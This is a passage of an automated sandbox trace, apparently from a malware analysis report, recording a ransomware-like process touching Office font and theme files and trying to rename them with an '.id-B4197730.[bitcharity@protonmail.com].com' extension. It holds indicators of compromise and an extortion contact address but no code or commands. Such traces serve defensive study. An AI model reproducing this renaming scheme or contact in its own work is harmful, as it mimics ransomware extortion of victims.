Office\\root\\VFS\\Fonts\\private\\PAPYRUS.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\papyrus.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.383] CloseHandle (hObject=0x126c) returned 1 [0282.385] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.385] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PARCHM.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\parchm.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.385] CloseHandle (hObject=0x126c) returned 1 [0282.386] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.386] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERBI___.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\perbi___.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.386] CloseHandle (hObject=0x126c) returned 1 [0282.388] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.388] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERB____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\perb____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.388] CloseHandle (hObject=0x126c) returned 1 [0282.389] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.390] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERI____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\peri____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.390] CloseHandle (hObject=0x126c) returned 1 [0282.391] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.391] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTIBD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pertibd.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.391] CloseHandle (hObject=0x126c) returned 1 [0282.393] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.393] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERTILI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pertili.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.393] CloseHandle (hObject=0x126c) returned 1 [0282.394] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.394] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PER_____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\per_____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.395] CloseHandle (hObject=0x126c) returned 1 [0282.396] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.396] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PLAYBILL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\playbill.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.396] CloseHandle (hObject=0x126c) returned 1 [0282.397] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.397] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\POORICH.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\poorich.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.397] CloseHandle (hObject=0x126c) returned 1 [0282.399] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.399] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PRISTINA.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pristina.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.399] CloseHandle (hObject=0x126c) returned 1 [0282.401] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.401] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAGE.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rage.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.401] CloseHandle (hObject=0x126c) returned 1 [0282.402] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.402] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAVIE.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ravie.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.402] CloseHandle (hObject=0x126c) returned 1 [0282.404] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.404] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSAN.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\refsan.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.404] CloseHandle (hObject=0x126c) returned 1 [0282.405] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.405] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSPCL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\refspcl.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.405] CloseHandle (hObject=0x126c) returned 1 [0283.264] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.264] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCCB___.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\roccb___.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.264] CloseHandle (hObject=0x115c) returned 1 [0283.265] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.265] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\breeze.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.265] CloseHandle (hObject=0x115c) returned 1 [0283.266] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.266] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\CANYON.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\canyon.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.267] CloseHandle (hObject=0x115c) returned 1 [0283.268] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.268] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\capsules.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.268] CloseHandle (hObject=0x115c) returned 1 [0283.269] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.269] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\CASCADE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\cascade.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.269] CloseHandle (hObject=0x115c) returned 1 [0283.270] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.270] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\compass.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.270] CloseHandle (hObject=0x115c) returned 1 [0283.271] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.271] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\concrete.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.271] CloseHandle (hObject=0x115c) returned 1 [0283.272] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.272] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\deepblue.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.272] CloseHandle (hObject=0x115c) returned 1 [0283.273] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.273] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\echo.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.274] CloseHandle (hObject=0x115c) returned 1 [0283.275] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.275] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\eclipse.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.275] CloseHandle (hObject=0x115c) returned 1 [0283.279] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.279] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\edge.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.280] CloseHandle (hObject=0x115c) returned 1 [0283.281] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.281] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\evrgreen.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.281] CloseHandle (hObject=0x115c) returned 1 [0283.282] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.282] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\expeditn.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.282] CloseHandle (hObject=0x115c) returned 1 [0283.283] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.283] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\ice.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.283] CloseHandle (hObject=0x115c) returned 1 [0283.284] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.284] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\INDUST.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\indust.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.284] CloseHandle (hObject=0x115c) returned 1 [0283.285] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.285] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\iris.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.285] CloseHandle (hObject=0x115c) returned 1 [0283.286] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0283.287] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 